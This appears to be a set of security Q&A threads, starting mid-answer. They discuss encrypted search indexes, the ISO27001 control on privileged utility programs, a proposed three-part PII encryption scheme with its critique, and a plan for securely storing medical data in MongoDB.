A decent encrypting algorithm will not produce, say, the same first portion for two tokens that start with the same letters. So wildcard searches won't work. Consider "runs", "running", "runner". A search on "run*" would be expected to match all three, but wouldn't unless the encryption were so trivial as to be useless. Similar issues arise with sorting. "More Like This" would be unreliable. There are many other features of a robust search engine that would be impacted, and an index with encrypted terms would be useful for only exact matches, which usually results in a poor search experience.


What is meant by "Use of privileged utility programs" in the ISO27001:2013 standard? The ISO27001:2013 standard (and ISO27002:2013 guidance) requires that use of "utility programs" that might be capable of overriding system and application controls should be restricted and controlled (A.9.4.4).

I've looked, for example, at http://en.wikipedia.org/wiki/Utility_program for inspiration and am finding it difficult to decide what might be considered a "privileged utility program", as most could be "dual use", i.e. if used without privileges they would be safe (and useful!), but with elevated user privileges they could introduce risk.

Is this intended to be a policy around setting access permissions for utilities?
What policies do other organisations have in this area?

Privileged utility programs are applications that require some level of system or administrative privilege to do their jobs.

A good example is an anti-virus application since this requires very low-level access to the system in order to detect certain types of virus.

As you say, not all of the functions of these applications may need privileged access but they will require it for some aspect of their operation.

In general, it is important that users should not have access to privileged functions from their normal user accounts. As soon as they do, it becomes much easier for malware to gain a foothold in a system. It is for this reason that you should not allow administrator accounts to have access to general office software such as email because it becomes trivial to gain access (as a recent audit I am aware of shows all too clearly!).

UPDATE:
Just to clarify for your 2 specific questions:

Policy for access permissions for utilities: This is hard to manage and is actioned only for certain enterprise tools not for OS level general tools.
Other policies:

Separation of concerns is the main policy. Administrators should have standard accounts for email/office/etc and only use privileged accounts when they are really required.

Checks on audit logs are also critical for sensitive systems. Without eyes on auditing, you can never be certain what has been happening.

Annual health checks include phishing attacks against administrators. To help ensure they are adhering to policies and standard security practices.

Staff may need to be vetted or security cleared for sensitive areas.

Access to the most sensitive systems (e.g. PKI master CA's) is heavily restricted with additional access logs and justifications.


What is a good data encryption strategy for a shared resource(text)? I have a use case where I need to encrypt a piece of PII information in a database, which then can be decrypted and accessed by multiple user roles in an application (e.g  the user it belongs to, customer service, engineering, etc.. ).

What is an industry standard strategy for these sort of things?

UPDATE: PLEASE READ BEFORE POSTING: In addition to posting feedback for my idea below(which I really appreciate) please also propose a strategy. I believe it would be very helpful to anyone trying to encrypt any shared resource nowadays.

Here is what I have in mind at the moment which will hopefully describe what I refer to better:

Full Disclosure: The information below is also meant to get an opinion or a peer review on my current strategy I came up with

As part of a defense-in-layers strategy my criteria is to have at least 3 factors to the encryption/decryption strategy that way if any 2 pieces are compromised the data can't still be decrypted.

The 3 factors: The Software accessing the information, A DB with encrypted data(DB1), A DB with the encryption keys(DB2).

The Encryption Strategy:

Data gets inputted into the software
A, let's say, 128bit Key is generated
Data gets encrypted with that key
Encrypted Data is stored into the DB (presented as DB1 in the 3 factors above)
The 128b key gets encrypted with a Master Key hardcoded in the software
Encrypted 128b key gets stored into the other DB (presented as DB2 in the 3 factors above)

The Decryption Strategy is the reverse..

The point is that the software holds the master key(Factor 1), DB1 has the encrypted data(Factor 2) and DB2 holds the encrypted encryption keys(yay for word repetition..also Factor 3) which can only be decrypted with the master key.

In my head if any of these get exposed, it's useless information that doesn't reveal the encrypted PII.

Btw this assumes solid encryption algorithms such as AES (..most likely AES only given that DES, 3DES and Blowfish are deprecated).

Update i realize i didn't make myself clear on the point of where these 3 factors will rezide. All 3 will be in different hosting environments on 3 different servers
 We're talking about a large scale strategy(which could work small scale as well) where DBs are inherently separate hardware entities. In my mind that was the assumption to begin with.

Update 2 A lot of the feedback here rightfully suggests that the software is the achile's heel here. This is my big canandrum too. I can't think of any software strategy where if the software is compromised the data is not at risk, given that the software always has an open connection into the DB and contains all the business logic to view/handle that data. Even implementing mydiamo in the software, that still means the data gets compromised if someone takes control of the software.

Someone who breaks into your server will make off with the software and the databases. Having all of your factors, they will then be able to run the decryption strategy in reverse to recover all the PII.

In multi-factor authentication, additional factors don't count if they would be stolen at the same time as an existing factor. For example, a hardware token is a different factor from a password, because a key logger (the typical way to steal the password), being software, wouldn't be able to steal the hardware token at the same time.


Secure distributed storing and querying of [medical] data? Comparing  ways of distributing and securely storing and querying structured and schemaless data.

Currently I am using MongoDB, but am looking into (Postgres|MySQL)&CryptDB, Cassandra and others.

What do I need to keep in mind, for securely storing and expressively querying [potentially] massive data?

Sticking with MongoDB, and will setup:

256-bit encryption of database filesystem (GridFS)
TLS between database servers and applications servers
TLS between application servers and consumers
User authentication on the application servers (scrypt for password, expiring tokens for login, x509 certs required for generating+using client_id, client_secret)
User authentication on the database servers
Internal message-passing queue

Two-time use username+password should be generated and stored in encrypted database.
Password used to encrypt message payload, username added into header.
Popping message hits database for password, which is then used to decrypt payload.

Frontends consuming my RESTful API can add another level of security: encrypting data before it hits my application and database servers. HIPAA and other compliance will also be checked before opening for beta testing.